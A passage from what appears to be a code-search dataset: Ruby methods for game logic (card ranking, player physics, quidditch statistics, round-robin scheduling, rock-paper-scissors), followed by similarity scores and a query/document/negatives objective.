@card_list.sort # sort cards in 'poker' order\n players.each_with_index {|player, i|\n if sorted_cards[-1] == player.get_last_card_played\n @last_winner=player.name\n end\n }\n # Switched off this observation for the moment\n #changed\n #notify_observers(sorted_cards[-1].to_string)\n\n if sorted_cards[-1].to_string_other.include?(\"FIVE\") then\n changed\n notify_observers(@last_winner,sorted_cards[-1].to_string)\n end\n\n sorted_cards[-1] # return best card\n end", "def calc_player\n state.player.x += state.player.dx # changes x based on dx (change in x)\n state.player.y += state.player.dy # changes y based on dy (change in y)\n\n state.player.dx *= 0.9 # scales dx down\n state.player.dy *= 0.9 # scales dy down\n\n # Compares player's x to 1280 to find lesser value, then compares result to 0 to find greater value.\n # This ensures that the player remains within the screen's scope.\n state.player.x = state.player.x.lesser(1280).greater(0)\n state.player.y = state.player.y.lesser(720).greater(0) # same with player's y\n end", "def update_games_from_logic(params_logic)\n params_logic.collect do |region_name, region_logic|\n region_logic.collect do |game_index, game_logic|\n game_logic.collect do |game_id, team_id_winner|\n Game.update(game_id.to_i,\n :team_id_winner => team_id_winner.to_i,\n :team_id_loser => Game.find_by(:id => game_id.to_i).\n teams.collect{|team| team.id}.reject{|team_id| team_id == team_id_winner.to_i}.first)\n end\n end\n end.flatten\n end", "def calc_plus_minus_stat(arrs)\n\n\t\t# Gets all the events\n\t\tall_stats = get_stats_rows_from_games\n\n\t\tif all_stats.nil?\n\t\t\treturn nil\n\t\tend\n\t\tall_combos = Set.new\n solutions = 1\n i = 0\n while i < arrs.length do\n \tsolutions *= arrs[i].length\n \ti += 1\n end\n while i < solutions do\n \tlist = Array.new\n \tj = 1\n \tarrs.each do |arr|\n \t\tlist << arr[(i / j) % arr.length]\n \t\tj *= arr.length\n \tend\n \tlist.sort!\n \ttestSet = list.to_set\n \tif (testSet.length == arrs.length)\n \t\tall_combos << list\n \tend\n \ti += 1\n end\n\n combo_stat_map = Hash.new\n\t\tcur_game = \"notAGame\"\n \ton_field_array = [\"chaserA\", \"chaserB\", \"chaserC\", \"keeper\", \"beaterA\", \"beaterB\", \"seeker\"]\n \t\n\t\tstart_time = -1\n\t\tstart_bludger_time = -1\n\t\thave_control = false\n\t\tsnitch_release_time = -1\n\n \tall_stats.each do |event|\n \t\tif event[\"vid_id\"] != cur_game\n \t\t\ton_field_array = [\"chaserA\", \"chaserB\", \"chaserC\", \"keeper\", \"beaterA\", \"beaterB\", \"seeker\"]\n \t\tend\n \t\tcur_game = event['vid_id']\n \t\tsorted_on_field_array = sort_on_field_array_by_position(on_field_array)\n \t\tshould_skip = should_skip_event(@sop, event[\"time\"], event[\"stat_name\"], snitch_release_time)\n \t\tcase event['stat_name']\n \t\twhen 'GOAL'\n \t\t\tif !should_skip\n\t \t\t\tall_combos.each do |combo|\n\t \t\t\t\tadd_stat_to_combo(combo_stat_map, sorted_on_field_array, combo, 1, 'GOAL', cur_game)\n\t \t\t\tend\n \t\t\tend\n \t\twhen 'AWAY_GOAL'\n \t\t\tif !should_skip\n\t \t\t\tall_combos.each do |combo|\n\t\t\t\t\t\tadd_stat_to_combo(combo_stat_map, sorted_on_field_array, combo, 1, 'AWAY_GOAL', cur_game)\n\t \t\t\tend\n\t \t\tend\n\t\t\twhen 'GAIN_CONTROL'\n\t\t\t\thave_control = true\n\t\t\t\tstart_bludger_time = event['time']\n\t\t\t\tif !should_skip\n\t\t\t\t\tall_combos.each do |combo|\n\t\t\t\t\t\tadd_stat_to_combo(combo_stat_map, sorted_on_field_array, combo, 1, 'GAIN_CONTROL', cur_game)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\twhen 'LOSE_CONTROL'\n\t\t\t\tif start_bludger_time != -1\n\t\t\t\t\tbludger_time_to_add = event[\"time\"] - start_bludger_time\n\t\t\t\t\tif bludger_time_to_add != 0 && !should_skip\n\t\t\t\t\tall_combos.each do |combo|\n\t\t\t\t\t\t\tadd_stat_to_combo(combo_stat_map, sorted_on_field_array, combo, bludger_time_to_add, 'bludger_time', cur_game)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\thave_control = false\n\t\t\t\tstart_bludger_time = -1\n\t\t\t\t\n\t\t\t\tif !should_skip\n\t\t\t\t\tall_combos.each do |combo|\n\t\t\t\t\t\tadd_stat_to_combo(combo_stat_map, sorted_on_field_array, combo, 1, 'LOSE_CONTROL', cur_game)\n\t\t\t\t\tend\n\t\t\t\tend\n \t\twhen 'SUB'\n\t\t\t\tif start_time != -1\n\t\t\t\t\ttime_to_add = event[\"time\"] - start_time\n\t\t\t\t\tif time_to_add != 0 && !should_skip\n\t\t\t\t\t\tall_combos.each do |combo|\n\t\t\t\t\t\t\tadd_stat_to_combo(combo_stat_map, sorted_on_field_array, combo, time_to_add, 'time', cur_game)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tstart_time = event[\"time\"]\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif start_bludger_time != -1\n\t\t\t\t\tbludger_time_to_add = event[\"time\"] - start_bludger_time\n\t\t\t\t\tif bludger_time_to_add != 0 && !should_skip\n\t\t\t\t\t\tall_combos.each do |combo|\n\t\t\t\t\t\t\tadd_stat_to_combo(combo_stat_map, sorted_on_field_array, combo, bludger_time_to_add, 'bludger_time', cur_game)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tstart_bludger_time = event[\"time\"]\n\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\tind = on_field_array.index(event['player_id'])\n\t\t\t\ton_field_array[ind] = event[\"player_in_id\"]\n\t\t\twhen 'SWAP'\n\t\t\t\tif start_time != -1\n\t\t\t\t\ttime_to_add = event[\"time\"] - start_time\n\t\t\t\t\tif time_to_add != 0 && !should_skip\n\t\t\t\t\t\tall_combos.each do |combo|\n\t\t\t\t\t\t\tadd_stat_to_combo(combo_stat_map, sorted_on_field_array, combo, time_to_add, 'time', cur_game)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tstart_time = event[\"time\"]\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif start_bludger_time != -1\n\t\t\t\t\tbludger_time_to_add = event[\"time\"] - start_bludger_time\n\t\t\t\t\tif bludger_time_to_add != 0 && !should_skip\n\t\t\t\t\t\tall_combos.each do |combo|\n\t\t\t\t\t\t\tadd_stat_to_combo(combo_stat_map, sorted_on_field_array, combo, bludger_time_to_add, 'bludger_time', cur_game)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tstart_bludger_time = event[\"time\"]\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tind = on_field_array.index(event['player_id'])\n\t\t\t\tind2 = on_field_array.index(event['player_in_id'])\n\t\t\t\ton_field_array[ind] = event[\"player_in_id\"]\n\t\t\t\ton_field_array[ind2] = event[\"player_id\"]\n\t\t\t\t\n \t\twhen 'PAUSE_CLOCK'\n\t\t\t\tif start_time != -1\n\t\t\t\t\ttime_to_add = event[\"time\"] - start_time\n\t\t\t\t\tif time_to_add != 0 && !should_skip\n\t\t\t\t\t\tall_combos.each do |combo|\n\t\t\t\t\t\t\tadd_stat_to_combo(combo_stat_map, sorted_on_field_array, combo, time_to_add, 'time', cur_game)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tstart_time = -1\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif start_bludger_time != -1\n\t\t\t\t\tbludger_time_to_add = event[\"time\"] - start_bludger_time\n\t\t\t\t\tif bludger_time_to_add != 0 && !should_skip\n\t\t\t\t\t\tall_combos.each do |combo|\n\t\t\t\t\t\t\tadd_stat_to_combo(combo_stat_map, sorted_on_field_array, combo, bludger_time_to_add, 'bludger_time', cur_game)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tstart_bludger_time = -1\n\t\t\t\tend\n \t\twhen 'START_CLOCK'\n \t\t\tstart_time = event[\"time\"]\n \t\t\tif have_control\n \t\t\t\tstart_bludger_time = event[\"time\"]\n \t\t\tend\n \t\twhen 'GAME_START'\n \t\t\tstart_time = event[\"time\"]\n \t\t\tif have_control\n \t\t\t\tstart_bludger_time = event[\"time\"]\n \t\t\tend\n\t\t\twhen 'SEEKERS_RELEASED'\n\t\t\t\tif start_time != -1\n\t\t\t\t\ttime_to_add = event[\"time\"] - start_time\n\t\t\t\t\tif time_to_add != 0 && !should_skip\n\t\t\t\t\t\tall_combos.each do |combo|\n\t\t\t\t\t\t\tadd_stat_to_combo(combo_stat_map, sorted_on_field_array, combo, time_to_add, 'time', cur_game)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tstart_time = event[\"time\"]\n\t\t\t\tend\n\t\t\t\tif start_bludger_time != -1\n\t\t\t\t\tbludger_time_to_add = event[\"time\"] - start_bludger_time\n\t\t\t\t\tif bludger_time_to_add != 0 && !should_skip\n\t\t\t\t\t\tall_combos.each do |combo|\n\t\t\t\t\t\t\tadd_stat_to_combo(combo_stat_map, sorted_on_field_array, combo, bludger_time_to_add, 'bludger_time', cur_game)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tstart_bludger_time = event[\"time\"]\n\t\t\t\tend\n\t\t\t\tsnitch_release_time = event[\"time\"]\n \t\twhen 'ZERO_BLUDGERS_FORCED'\n \t\t\tif !should_skip\n\t \t\t\tall_combos.each do |combo|\n\t\t\t\t\t\tadd_stat_to_combo(combo_stat_map, sorted_on_field_array, combo, 1, 'ZERO_BLUDGERS_FORCED', cur_game)\n\t \t\t\tend\n\t \t\tend\n \t\twhen 'ZERO_BLUDGERS_GIVEN'\n \t\t\tif !should_skip\n\t \t\t\tall_combos.each do |combo|\n\t\t\t\t\t\tadd_stat_to_combo(combo_stat_map, sorted_on_field_array, combo, 1, 'ZERO_BLUDGERS_GIVEN', cur_game)\n\t \t\t\tend\n\t \t\tend\n \t\twhen 'OFFENSE'\n \t\t\tif !should_skip && event[\"bludger_count\"] == 0\n \t\t\t\tall_combos.each do |combo|\n\t\t\t\t\t\tadd_stat_to_combo(combo_stat_map, sorted_on_field_array, combo, 1, 'ZERO_BLUDGERS_FORCED', cur_game)\n\t\t\t\t\tend\n\t\t\t\tend\n \t\twhen 'DEFENSE'\n \t\t\tif !should_skip && event[\"bludger_count\"] == 0\n \t\t\t\tall_combos.each do |combo|\n\t\t\t\t\t\tadd_stat_to_combo(combo_stat_map, sorted_on_field_array, combo, 1, 'ZERO_BLUDGERS_GIVEN', cur_game)\n\t\t\t\t\tend\n\t\t\t\tend\n\t \tend\n end\n\n # this loop takes the combos map, and prepares it\n # for displaying\n combo_stat_map_return = Hash.new\n combo_stat_map.each { |k, v|\n \tnew_key = []\n \t# loops through the keys values and puts\n \t# names to each id\n \tk.each { |id|\n \t\tplayer_index = @players.find_index { |item| \t\n\t\t\t\t\titem['objectId'] == id\n\t\t\t\t}\n\t\t\t\tif player_index.nil?\n\t\t\t\t\tnext\n\t\t\t\tend\n\t\t\t\ton_field_array[player_index] = id\n \t\tif @players[player_index].nil?\n \t\t\tnew_key << '?'\n \t\telse\n \t\t\tnew_key << @players[player_index]['first_name'] + ' ' + @players[player_index]['last_name']\n \t\tend\n \t}\n \t# loop through the vals here, modding each one\n \tv.update(v) { |key1, val1|\n\t\t\t\tif key1 == :games_played\n \t\t\tval1 = v[key1].length\n\t\t\t\telse\n\t\t\t\t\tval1 = v[key1]\n\t\t\t\tend\n\n \t}\n\t\t\tif @per == 1 # per minute\n\t \tv.update(v) { |key1, val1|\n\t\t\t\t\tif key1 != :time && v[:time] != 0 && key1 != :ratio && key1 != :control_percent && key1 != :games_played\n\t \t\t\tval1 = val1.to_f / (v[:time].to_f / 60.0)\n\t\t\t\t\t\tval1.round(2)\n\t\t\t\t\telse\n\t\t\t\t\t\tval1 = v[key1]\n\t\t\t\t\tend\n\n\t \t}\n\t\t\telsif @per == 2 # per game\n\t\t\t\tv.update(v) { |key1, val1|\n\t\t\t\t\tif key1 != :games_played && key1 != :ratio && v[:games_played] != 0 && key1 != :control_percent\n\t\t\t\t\t\tval1 = val1.to_f / (v[:games_played].to_f)\n\t\t\t\t\t\tif key1 == :time\n\t\t\t\t\t\t\tval1.round(0)\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tval1.round(2)\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tval1 = v[key1]\n\t\t\t\t\tend\n\t\t\t\t}\n\t\t\tend\n\t\t\t\n \t# this is cheating, sort of\n \tprettyTime = Time.at(v[:time]).utc.strftime(\"%M:%S\")\n \tif v[:time] >= 0\n \t\t# v[:time] = prettyTime\n \t\tcombo_stat_map_return[new_key] = v\n \tend\n \t\t\n }\n combo_stat_map_return.to_a\n\tend", "def update_score_participating_players\n\n winner_player = (user_score > opponent_score) ? User.find(user_id) : User.find(opponent_id)\n loser_player = (user_score < opponent_score) ? User.find(user_id) : User.find(opponent_id)\n \n if winner_player.historical_score >= loser_player.historical_score\n winner_player.update_column(:historical_score, (winner_player.historical_score + 4))\n loser_player.update_column(:historical_score, (loser_player.historical_score - 2))\n elsif winner_player.historical_score < loser_player.historical_score\n winner_player.update_column(:historical_score, (winner_player.historical_score + 6))\n loser_player.update_column(:historical_score, (loser_player.historical_score - 2))\n end\n\n # Update count games to participating players\n winner_player.update_column(:count_games, (winner_player.count_games +=1))\n loser_player.update_column(:count_games, (loser_player.count_games +=1))\n end", "def generate_matches\n \n # Shuffle the users in a random order before scheduling.\n arr = users.to_a.shuffle\n\n # Pick the first element in the array as the pivot.\n pivot = arr.delete_at(0)\n\n # Schedule matches round by round\n for current_round in 1..total_rounds\n\n # Schedule the match with the pivot and the last element in arr.\n matches.create!(round_number: current_round, \n p1_id: pivot.id, \n p2_id: arr[-1].id, \n p1_score: 0,\n p2_score: 0,\n season_id: current_season.id,\n league_id: id,\n p1_accepted: false,\n p2_accepted: false,\n game_id: game_id)\n\n # Following code will break if there are only 2 users in the league.\n if users.count > 2\n # Set the index variables for inner loop.\n i = 0\n j = arr.count - 2\n while j >= (arr.count / 2)\n\n # Schedule the match with the first and outermost element as the two\n # players in the match and work your way in.\n matches.create!(round_number: current_round, \n p1_id: arr[i].id, \n p2_id: arr[j].id, \n p1_score: 0,\n p2_score: 0,\n season_id: current_season.id,\n league_id: id,\n p1_accepted: false,\n p2_accepted: false,\n game_id: game_id)\n i += 1\n j -= 1\n end\n\n # Now rotate the array to keep scheduling in a \"round robin\" fashion.\n arr.rotate!\n end\n end\n end", "def calc_player\n state.dy += state.gravity # what goes up must come down because of gravity\n calc_box_collision\n calc_edge_collision\n state.y += state.dy # Since velocity is the change in position, the change in y increases by dy\n state.x += state.dx # Ditto line above but dx and x\n state.dx *= 0.8 # Scales dx down\n end", "def adjust_shiny_iv\n return if !self.shiny_ebdx\n # check cached data as well\n d1 = EliteBattle.get(:nextBattleData)\n d1 = (d1 && d1[:PERFECT_IVS]) ? d1[:PERFECT_IVS] : nil\n d2 = EliteBattle.get_data(self.species, :Species, :PERFECT_IVS)\n # set perfect IVs for shiny mons\n perfect = self.superShiny? ? EliteBattle::PERFECT_IV_SUPER : EliteBattle::PERFECT_IV_SHINY\n perfect = [perfect, (d1 ? d1 : 0), (d2 ? d2 : 0)].max\n return if !perfect.is_a?(Numeric) || perfect < 1\n stats = self.iv.keys.clone\n # apply stats\n [perfect, stats.length].min.times do\n i = rand(stats.length)\n self.iv[stats[i]] = Pokemon::IV_STAT_LIMIT\n stats.delete_at(i)\n end\n # recalculate stats\n self.calc_stats\n end", "def calculate_team_points_by_final_rank\n # Calculate how many points to award to each rank. When multiple teams\n # have the same rank (e.g., two teams tie for 5th place), those teams\n # get the average of the points available to those ranks. For example,\n # in a 6-team bracket, the teams in 1st through 4th place get 6 through 3\n # points respectively. The two teams in 5th get 1.5, the average of 2 and 1.\n sorted_teams = @teams.sort_by(&:final_rank)\n num_teams = sorted_teams.size.to_f\n\n final_rank_points = sorted_teams.each_with_index.\n each_with_object({}) do |(team, idx), rank_points|\n rank_points[team.final_rank] ||= []\n rank_points[team.final_rank] << num_teams - idx\n end\n\n base_point_value = @config.base_point_value\n\n sorted_teams.each do |team|\n points_earned = final_rank_points[team.final_rank].sum /\n final_rank_points[team.final_rank].size\n\n puts \"#{team.name} finished in position #{team.final_rank} and gets\" \\\n \" #{points_earned} points\" \\\n \"#{\" + #{base_point_value} base\" if base_point_value > 0}\"\n\n team.points = points_earned + base_point_value\n end\n end", "def rps\n\n\n @user_move=params[\"the_move\"]\n @computer_move= [\"rock\", \"paper\", \"scissors\"].sample\n\n\n if @user_move == @computer_move\n @outcome = \"tied\"\n elsif @user_move == \"paper\" && @computer_move == \"rock\"\n @outcome = \"won\"\n elsif @user_move == \"paper\" && @computer_move == \"scissors\"\n @outcome = \"lost\"\n elsif @user_move == \"scissors\" && @computer_move == \"rock\"\n @outcome = \"lost\"\n elsif @user_move == \"scissors\" && @computer_move == \"paper\"\n @outcome = \"won\"\n elsif @user_move == \"rock\" && @computer_move == \"paper\"\n @outcome = \"lost\"\n elsif @user_move == \"rock\" && @computer_move == \"scissors\"\n @outcome = \"won\"\n end\n\n\n m = Move.new\n m.user_move = @user_move\n m.computer_move = @computer_move\n if @outcome == \"won\"\n m.user_wins = 1\n m.computer_wins = 0\n m.tie= 0\n elsif @outcome == \"lost\"\n m.user_wins = 0\n m.computer_wins = 1\n m.tie= 0\n else\n m.user_wins = 0\n m.computer_wins=0\n m.tie= 1\n end\n\n m.save\n\n @all_moves= Move.all\n @rockwin=Move.where({:user_move => \"rock\",:user_wins => \"1\"}).count\n @paperwin=Move.where({:user_move => \"paper\",:user_wins => \"1\"}).count\n @scissorswin=Move.where({:user_move => \"scissors\",:user_wins => \"1\"}).count\n\n @rocklose=Move.where({:user_move => \"rock\",:computer_wins => \"1\"}).count\n @paperlose=Move.where({:user_move => \"paper\",:computer_wins => \"1\"}).count\n @scissorslose=Move.where({:user_move => \"scissors\",:computer_wins => \"1\"}).count\n\n\n @rocktie=Move.where({:user_move => \"rock\",:user_wins => \"0\", :computer_wins => \"0\"}).count\n @papertie=Move.where({:user_move => \"paper\",:user_wins => \"0\", :computer_wins => \"0\"}).count\n @scissorstie=Move.where({:user_move => \"scissors\",:user_wins => \"0\", :computer_wins => \"0\"}).count\n\n @totalwin=Move.where({:user_wins => \"1\", }).count\n @totallose=Move.where({:computer_wins => \"1\"}).count\n @totaltie=Move.where({:tie => \"1\",}).count\n\n @total = @totalwin + @totallose + @totaltie\n\n\n\n\n render \"rps.html.erb\"\n end", "def max_teams(rounds)\n 2**rounds\n end" ]
[ "0.61966324", "0.6085875", "0.6085875", "0.6063497", "0.5908922", "0.59044", "0.58793205", "0.5878793", "0.5838307", "0.57961273", "0.57791847", "0.57746035", "0.57484806", "0.5710608", "0.5669978", "0.566497", "0.56545335", "0.56449217", "0.56404686", "0.5626321", "0.56245816", "0.5614294", "0.56082153", "0.5601158", "0.5600267", "0.55932605", "0.5526662", "0.54970765", "0.5477248", "0.5459591", "0.5458213", "0.5451326", "0.5441508", "0.54351187", "0.54347867", "0.5434755", "0.54254353", "0.54246306", "0.5419475", "0.5399308", "0.5399308", "0.53988415", "0.53975195", "0.5393886", "0.53917927", "0.5381624", "0.5380531", "0.5380269", "0.53784966", "0.5377746", "0.53683233", "0.53659266", "0.53615016", "0.5358724", "0.5353578", "0.53474385", "0.53416395", "0.53414816", "0.5329602", "0.53294176", "0.5324429", "0.53229034", "0.53207076", "0.5304893", "0.5302623", "0.52954805", "0.52847344", "0.52826804", "0.5282469", "0.52784616", "0.5272295", "0.5265637", "0.52613926", "0.525929", "0.5244932", "0.5236141", "0.52355015", "0.52312386", "0.5230252", "0.5227493", "0.52267843", "0.5223893", "0.52236027", "0.5223257", "0.5220678", "0.5216039", "0.5204941", "0.5204408", "0.5198391", "0.5197876", "0.51954335", "0.51918024", "0.51907516", "0.5187034", "0.5179552", "0.5178174", "0.51780635", "0.51747036", "0.5174476", "0.5164552" ]
0.6263473
0
Update properties of this object
def update!(**args) @site = args[:site] if args.key?(:site) @verification_method = args[:verification_method] if args.key?(:verification_method) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update_properties(hash)\n hash.each do |key, value|\n setter_method = \"#{key}=\"\n if self.respond_to?(setter_method)\n self.send(setter_method, value)\n end\n end\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "def refresh\n self.class.base_properties.each_with_index do |prop, prop_id|\n @properties[prop] = get_property(prop_id)\n end\n refresh_features\n refresh_status\n refresh_config\n self\n end", "def update!(**args)\n @subobject_properties = args[:subobject_properties] if args.key?(:subobject_properties)\n end", "def update!(**args)\n @subobject_properties = args[:subobject_properties] if args.key?(:subobject_properties)\n end", "def update(attrs)\n super(attrs)\n end", "def update(attrs)\n super(attrs)\n end", "def update(attrs)\n super(attrs)\n end", "def update(attrs)\n super(attrs)\n end", "def update_properties!(branch_id=nil)\n properties = fetch_properties(false, branch_id)\n length = properties.length\n counter = 0\n properties.each do |property|\n counter += 1\n if Vebra.debugging?\n puts \"[Vebra]: #{counter}/#{length}: live updating property with Vebra ref: #{property.attributes[:vebra_ref]}\"\n end\n live_update!(property)\n Vebra.set_last_updated_at(Time.now) if counter == length\n end\n end", "def update_self obj\n obj.each do |k,v|\n instance_variable_set(\"@#{k}\", v) if v\n end\n end", "def update_attributes(properties_hash)\n self.class.get_class_properties.each do |property|\n key = property[:name].to_sym\n if properties_hash.has_key? key\n self.setValue(properties_hash[key], forKey:key)\n end\n end\n end", "def update\n # TODO: implement update\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n @states = args[:states] if args.key?(:states)\n end", "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @object = args[:object] if args.key?(:object)\n end", "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @object = args[:object] if args.key?(:object)\n end", "def update!(**args)\n @property = args[:property] if args.key?(:property)\n @total_value_count = args[:total_value_count] if args.key?(:total_value_count)\n @value = args[:value] if args.key?(:value)\n @value_status = args[:value_status] if args.key?(:value_status)\n end", "def update\n \n end", "def refresh\n set_attributes\n end", "def update(attrs)\n @attrs.update(attrs)\n self\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n @source = args[:source] if args.key?(:source)\n end", "def update_resource object, attributes\n object.update attributes\n end", "def update(attrs)\n @attrs ||= {}\n @attrs.update(attrs)\n self\n end", "def update\n \n end", "def update!(**args)\n @property = args[:property] if args.key?(:property)\n @schema = args[:schema] if args.key?(:schema)\n end", "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @options = args[:options] if args.key?(:options)\n @property_definitions = args[:property_definitions] if args.key?(:property_definitions)\n end", "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @options = args[:options] if args.key?(:options)\n @property_definitions = args[:property_definitions] if args.key?(:property_definitions)\n end", "def _update!\n self.class.properties.each do |property, predicate|\n if dirty?(property)\n self.class.repository_or_fail.delete([subject, predicate[:predicate], nil])\n if self.class.is_list?(property)\n repo = RDF::Repository.new\n attribute_get(property).each do |value|\n repo << RDF::Statement.new(subject, predicate[:predicate], self.class.build_rdf_value(value, self.class.properties[property][:type]))\n end\n self.class.repository_or_fail.insert(*repo)\n else\n self.class.repository_or_fail.insert(RDF::Statement.new(subject, predicate[:predicate], self.class.build_rdf_value(attribute_get(property), self.class.properties[property][:type])))\n end\n end\n @dirty[property] = nil\n @attributes[:original][property] = attribute_get(property)\n end\n self.class.repository_or_fail.insert(RDF::Statement.new(@subject, RDF.type, type)) unless type.nil?\n end", "def update(attributes = {})\n super(attributes)\n retrieve!\n self\n end", "def update\n @objects.map(&:update);\n end", "def update\n raise NotImplementedError\n end", "def update\n raise NotImplementedError\n end", "def live_update!(property)\n property_class = Vebra.models[:property][:class].to_s.camelize.constantize\n\n # ensure we have the full property attributes\n property.get_property if !property.attributes[:status] && property.attributes[:action] != 'deleted'\n\n # find & update or build a new property\n property_model = property_class.find_or_initialize_by_vebra_ref(property.attributes[:vebra_ref])\n\n # make sure property object is not empty\n return false if !property.attributes || !property.attributes[:property_type]\n\n # if the property has been deleted, mark it appropriately and move on\n if property.attributes[:action] == 'deleted'\n return property_model.destroy\n end\n\n # extract accessible attributes for the property\n property_accessibles = property_class.accessible_attributes.map(&:to_sym)\n property_attributes = property.attributes.inject({}) do |result, (key, value)|\n result[key] = value if property_accessibles.include?(key)\n result\n end\n\n # update the property model's attributes\n property_model.no_callbacks = true if property_model.respond_to?(:no_callbacks)\n property_model.update_attributes(property_attributes)\n\n # find & update or build a new address\n if Vebra.models[:address]\n address_class = Vebra.models[:address][:class].to_s.camelize.constantize\n address_model = property_model.send(Vebra.models[:property][:address_method])\n address_model = property_model.send(\"build_#{Vebra.models[:property][:address_method]}\") unless address_model\n\n # extract accessible attributes for the address\n address_accessibles = address_class.accessible_attributes.map(&:to_sym)\n address_attributes = property.attributes[:address].inject({}) do |result, (key, value)|\n result[key] = value if address_accessibles.include?(key)\n result\n end\n\n # update the address model's attributes\n address_model.update_attributes(address_attributes)\n end\n\n # find & update or build new rooms\n if Vebra.models[:room]\n room_class = Vebra.models[:room][:class].to_s.camelize.constantize\n\n # accessible attributes for the rooms\n room_accessibles = room_class.accessible_attributes.map(&:to_sym)\n\n # delete any rooms which are no longer present\n property_rooms = property.attributes[:rooms] || []\n property_model_rooms = property_model.send(Vebra.models[:property][:rooms_method])\n refs_to_delete = property_model_rooms.map(&:vebra_ref) - property_rooms.map { |r| r[:vebra_ref] }\n property_model_rooms.each do |room|\n room.destroy if refs_to_delete.include?(room.vebra_ref)\n end\n\n # find & update or build new rooms\n property_rooms.each do |room|\n room_model = room_class.find_by_property_id_and_vebra_ref(property_model.id, room[:vebra_ref])\n room_model = property_model_rooms.build unless room_model\n\n # extract accessible attributes for the room\n room_attributes = room.inject({}) do |result, (key, value)|\n result[key] = value if room_accessibles.include?(key)\n result\n end\n\n # update the room model's attributes\n room_model.update_attributes(room_attributes)\n end\n end\n\n # find & update or build new file attachments\n if Vebra.models[:file]\n file_class = Vebra.models[:file][:class].to_s.camelize.constantize\n\n # accessible attributes for the files\n file_accessibles = file_class.accessible_attributes.map(&:to_sym)\n\n # first normalize the collection (currently nested collections)\n property_files = property.attributes[:files].inject([]) do |result, (kind, collection)|\n collection.each do |file|\n file[:type] = kind.to_s.singularize.camelize if file_accessibles.include?(:type)\n file[\"remote_#{Vebra.models[:file][:attachment_method]}_url\".to_sym] = file.delete(:url)\n # if file[:type] is set, it means the attachment file class can be subclassed. In this\n # case we need to ensure that the subclass exists. If not, we ignore this file\n begin\n file[:type].constantize if file_accessibles.include?(:type)\n result << file\n rescue NameError => e\n # ignore - this means the subclass does not exist\n puts \"[Vebra]: #{e.message}\" if Vebra.debugging?\n end\n end\n\n result\n end\n\n # delete any files which are no longer present\n property_model_files = property_model.send(Vebra.models[:property][:files_method])\n refs_to_delete = property_model_files.map(&:vebra_ref) - property_files.map { |f| f[:vebra_ref] }\n property_model_files.each do |file|\n file.destroy if refs_to_delete.include?(file.vebra_ref)\n end\n\n # find & update or build new files\n property_files.each do |file|\n begin\n file_model = property_model_files.find_by_vebra_ref(file[:vebra_ref])\n file_model = property_model_files.build unless file_model\n\n # extract accessible attributes for the file\n file_attributes = file.inject({}) do |result, (key, value)|\n result[key] = value if file_accessibles.include?(key)\n result\n end\n\n # update the room model's attributes\n file_model.update_attributes(file_attributes)\n rescue CarrierWave::ProcessingError, OpenURI::HTTPError => e\n # just ignore the file\n puts \"[Vebra]: #{e.message}\" if Vebra.debugging?\n end\n end\n end\n\n property_model.no_callbacks = false if property_model.respond_to?(:no_callbacks)\n property_model.save\n return property_model\n end", "def update!(**args)\n @id = args[:id] if args.key?(:id)\n @property_value = args[:property_value] if args.key?(:property_value)\n end", "def update\n end", "def update!(**args)\n @mid = args[:mid] if args.key?(:mid)\n @property_value = args[:property_value] if args.key?(:property_value)\n end", "def modified_properties=(value)\n @modified_properties = value\n end", "def apply_properties!(properties)\n # Non-commutitivity etc. eventually.\n end", "def set_properties(hash)\n hash.each do |key, value|\n add_or_remove_ostruct_member(key, value)\n end\n rest_reset_properties\n end", "def update\n\t\t\n\t\tend", "def set_props(props)\n @props.merge!(props)\n end", "def update() end", "def update!(**args)\n @property_definitions = args[:property_definitions] if args.key?(:property_definitions)\n end", "def assign_properties\n self.properties ||= {}\n listing_properties.each do |prop|\n self.properties[prop.key] ||= prop.value\n end\n end", "def change_properties(new_current_floor, new_next_floor, new_movement)\n @current_floor = new_current_floor\n @next_floor = new_next_floor\n @movement = new_movement\n end", "def update!(**args)\n @property_value = args[:property_value] if args.key?(:property_value)\n end", "def update!(**args)\n @property_name = args[:property_name] if args.key?(:property_name)\n end", "def update!(**args)\n @property_name = args[:property_name] if args.key?(:property_name)\n end", "def update(attributes)\n (@attributes ||= {}).merge! attributes\n\n (self.class.attr_initializables & attributes.keys).each do |name|\n instance_variable_set :\"@#{name}\", attributes[name]\n end\n\n self\n end", "def update_attributes(attrs)\n super({})\n end", "def update\n @dirty = true\n end", "def update\n\n # Run through the mixin updates\n colourable_update\n movable_update\n\n end", "def set(props)\n props.each do |prop, val|\n self.send(:\"#{ prop }=\", val)\n end\n end", "def update\n super\n end", "def update!(**args)\n @property_id = args[:property_id] if args.key?(:property_id)\n @value_status = args[:value_status] if 